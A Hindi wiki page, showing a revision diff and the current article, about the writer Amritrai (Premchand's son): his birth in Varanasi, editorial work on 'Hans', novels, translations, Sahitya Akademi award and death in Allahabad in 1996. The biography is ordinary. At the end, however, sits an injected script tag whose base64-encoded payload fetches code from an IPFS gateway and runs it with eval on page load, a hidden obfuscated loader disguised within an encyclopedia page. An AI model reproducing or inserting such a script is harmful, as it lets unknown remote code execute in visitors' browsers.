अमृतराय: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
व्यवस्थापन (talk | contribs) m (Text replacement - "फांसी" to "फाँसी") |
||
(2 intermediate revisions by 2 users not shown) | |||
Line 13: | Line 13: | ||
|कर्म भूमि=[[भारत]] | |कर्म भूमि=[[भारत]] | ||
|कर्म-क्षेत्र=[[साहित्य]] | |कर्म-क्षेत्र=[[साहित्य]] | ||
|मुख्य रचनाएँ='प्रेमचन्द', 'कलम का सिपाही', 'बीज' ([[उपन्यास]]), 'तिरंगा कफ़न' (कहानी-संग्रह) आदि। | |मुख्य रचनाएँ='प्रेमचन्द', 'कलम का सिपाही', '[[बीज- अमृतराय |बीज]]' ([[उपन्यास]]), 'तिरंगा कफ़न' (कहानी-संग्रह) आदि। | ||
|विषय=[[उपन्यास]], [[निबन्ध]], [[समीक्षा]], अनुवाद। | |विषय=[[उपन्यास]], [[निबन्ध]], [[समीक्षा]], अनुवाद। | ||
|भाषा=[[हिन्दी]] | |भाषा=[[हिन्दी]] | ||
Line 37: | Line 37: | ||
[[प्रेमचंद]] की बिखरी रचनाओं के संपादन के अतिरिक्त आपने 'हंस' का संपादन अपने ही अंदाज़ में किया। यह 'हंस' और 'नई कहानी' के सम्पादक रहे हैं। | [[प्रेमचंद]] की बिखरी रचनाओं के संपादन के अतिरिक्त आपने 'हंस' का संपादन अपने ही अंदाज़ में किया। यह 'हंस' और 'नई कहानी' के सम्पादक रहे हैं। | ||
==कृतियाँ== | ==कृतियाँ== | ||
'साहित्य में संयुक्त मोर्चा', 'सुबह का रंग', 'लाल धरती', 'नई समीक्षा', 'नागफनी का देश', 'हाथी के दांत', 'अग्निशिखा', ' | 'साहित्य में संयुक्त मोर्चा', 'सुबह का रंग', 'लाल धरती', 'नई समीक्षा', 'नागफनी का देश', 'हाथी के दांत', 'अग्निशिखा', 'फाँसी के तख्ते से', 'कस्बे का एक दिन', 'गीली मिट्टी', 'कठघरे', 'जंगले', 'सहचिंतन', 'भटियाली', 'आधुनिक भावबोध की संज्ञा', 'बतरस', 'चतुरंग', 'सारंग' और 'धुआं' । | ||
*'प्रेमचन्द' | *'प्रेमचन्द' | ||
*'कलम का सिपाही' | *'कलम का सिपाही' | ||
*'बीज' (उपन्यास) | *'[[बीज- अमृतराय|बीज]]' (उपन्यास) | ||
*'तिरंगा कफ़न' (कहानी-संग्रह) | *'तिरंगा कफ़न' (कहानी-संग्रह) | ||
==अनुवाद== | ==अनुवाद== | ||
'स्पार्टाकस' का अनुवाद 'आदिविद्रोही', 'हैमलेट' का, 'समरगाथा'। | 'स्पार्टाकस' का अनुवाद 'आदिविद्रोही', 'हैमलेट' का, 'समरगाथा'। | ||
==पुरस्कार== | ==पुरस्कार== | ||
देश-विदेश के कई महत्वपूर्ण पुरस्कारों से अमृतराय को सम्मानित किया गया था। [[कहानी]] तथा ललित निबन्ध के लेखन में [[भारत]] विख्यात इस लेखक को 'कलम का सिपाही' नामक पुस्तक पर '[[साहित्य अकादमी पुरस्कार]]' से सम्मानित किया गया था। इनका [[उपन्यास]] 'बीज' तथा कहानी-संग्रह 'तिरंगा | देश-विदेश के कई महत्वपूर्ण पुरस्कारों से अमृतराय को सम्मानित किया गया था। [[कहानी]] तथा ललित निबन्ध के लेखन में [[भारत]] विख्यात इस लेखक को 'कलम का सिपाही' नामक पुस्तक पर '[[साहित्य अकादमी पुरस्कार]]' से सम्मानित किया गया था। इनका [[उपन्यास]] 'बीज' तथा कहानी-संग्रह 'तिरंगा कफ़न' बहु-चर्चित है। | ||
==मृत्यु== | ==मृत्यु== | ||
[[भारत]] विख्यात इस लेखक की मृत्यु [[14 अगस्त]] सन [[1996]] में [[इलाहाबाद]] में हुई। | [[भारत]] विख्यात इस लेखक की मृत्यु [[14 अगस्त]] सन [[1996]] में [[इलाहाबाद]] में हुई। |
Latest revision as of 10:42, 2 January 2018
अमृतराय
| |
पूरा नाम | अमृतराय |
जन्म | 1921 |
जन्म भूमि | वाराणसी, उत्तर प्रदेश |
मृत्यु | 14 अगस्त, 1996 |
मृत्यु स्थान | इलाहाबाद |
अभिभावक | प्रेमचंद |
पति/पत्नी | सुधा चौहान |
कर्म भूमि | भारत |
कर्म-क्षेत्र | साहित्य |
मुख्य रचनाएँ | 'प्रेमचन्द', 'कलम का सिपाही', 'बीज' (उपन्यास), 'तिरंगा कफ़न' (कहानी-संग्रह) आदि। |
विषय | उपन्यास, निबन्ध, समीक्षा, अनुवाद। |
भाषा | हिन्दी |
पुरस्कार-उपाधि | साहित्य अकादमी पुरस्कार |
प्रसिद्धि | उपन्यासकार, निबन्धकार, समीक्षक, अनुवादक। |
नागरिकता | भारतीय |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
अमृतराय (अंग्रेज़ी: Amritrai, जन्म- 1921, वाराणसी; मृत्यु- 14 अगस्त, 1996[1], इलाहाबाद) प्रसिद्ध उपन्यासकार, निबन्धकार, समीक्षक तथा अनुवादक थे। वे कहानी सम्राट कहे जाने वाले प्रेमचंद के छोटे पुत्र थे। पिता की तरह अमृतराय मूलतः कहानीकार व उपन्यासकार थे। श्रेष्ठ अनुवादक व जीवनीकार के रूप में भी उनकी ख्याति थी। इसके साथ ही एक व्यंग्यकार और समालोचक के रूप में भी वे जाने जाते थे। प्रेमचंद की जीवनी 'कलम का सिपाही' के लिए साहित्य अकादमी पुरस्कार से उन्हें सम्मानित किया गया था। नाट्य-लेखन में भी सक्रिय रहे। अंग्रेज़ी, बंगला और हिन्दी पर अमृतराय को समान अधिकार प्राप्त था।
परिचय
अमृतराय का जन्म सन 1921 में उत्तर प्रदेश के वाराणसी (वर्तमान बनारस) में हुआ था। वे प्रसिद्ध लेखक और उपन्यासकार प्रेमचन्द के सुपुत्र थे। प्रगतिशील साहित्यकारों में अमृतराय महत्त्वपूर्ण स्थान रखते हैं। अमृतराय का विवाह सुभद्रा कुमारी चौहान की बेटी सुधा चौहान से हुआ था। इनकी पत्नी सुधा ने सुभद्रा कुमारी चौहान तथा अपने पिता लक्षमण सिंह जी की संयुक्त जीवनी 'मिला तेज से तेज' नामक शीर्षक से लिखी थी।[1]
सम्पादक
प्रेमचंद की बिखरी रचनाओं के संपादन के अतिरिक्त आपने 'हंस' का संपादन अपने ही अंदाज़ में किया। यह 'हंस' और 'नई कहानी' के सम्पादक रहे हैं।
कृतियाँ
'साहित्य में संयुक्त मोर्चा', 'सुबह का रंग', 'लाल धरती', 'नई समीक्षा', 'नागफनी का देश', 'हाथी के दांत', 'अग्निशिखा', 'फाँसी के तख्ते से', 'कस्बे का एक दिन', 'गीली मिट्टी', 'कठघरे', 'जंगले', 'सहचिंतन', 'भटियाली', 'आधुनिक भावबोध की संज्ञा', 'बतरस', 'चतुरंग', 'सारंग' और 'धुआं' ।
- 'प्रेमचन्द'
- 'कलम का सिपाही'
- 'बीज' (उपन्यास)
- 'तिरंगा कफ़न' (कहानी-संग्रह)
अनुवाद
'स्पार्टाकस' का अनुवाद 'आदिविद्रोही', 'हैमलेट' का, 'समरगाथा'।
पुरस्कार
देश-विदेश के कई महत्वपूर्ण पुरस्कारों से अमृतराय को सम्मानित किया गया था। कहानी तथा ललित निबन्ध के लेखन में भारत विख्यात इस लेखक को 'कलम का सिपाही' नामक पुस्तक पर 'साहित्य अकादमी पुरस्कार' से सम्मानित किया गया था। इनका उपन्यास 'बीज' तथा कहानी-संग्रह 'तिरंगा कफ़न' बहु-चर्चित है।
मृत्यु
भारत विख्यात इस लेखक की मृत्यु 14 अगस्त सन 1996 में इलाहाबाद में हुई।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ अमृत राय, परिचय (हिंदी) गद्य कोश। अभिगमन तिथि: 13 अगस्त, 2016।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>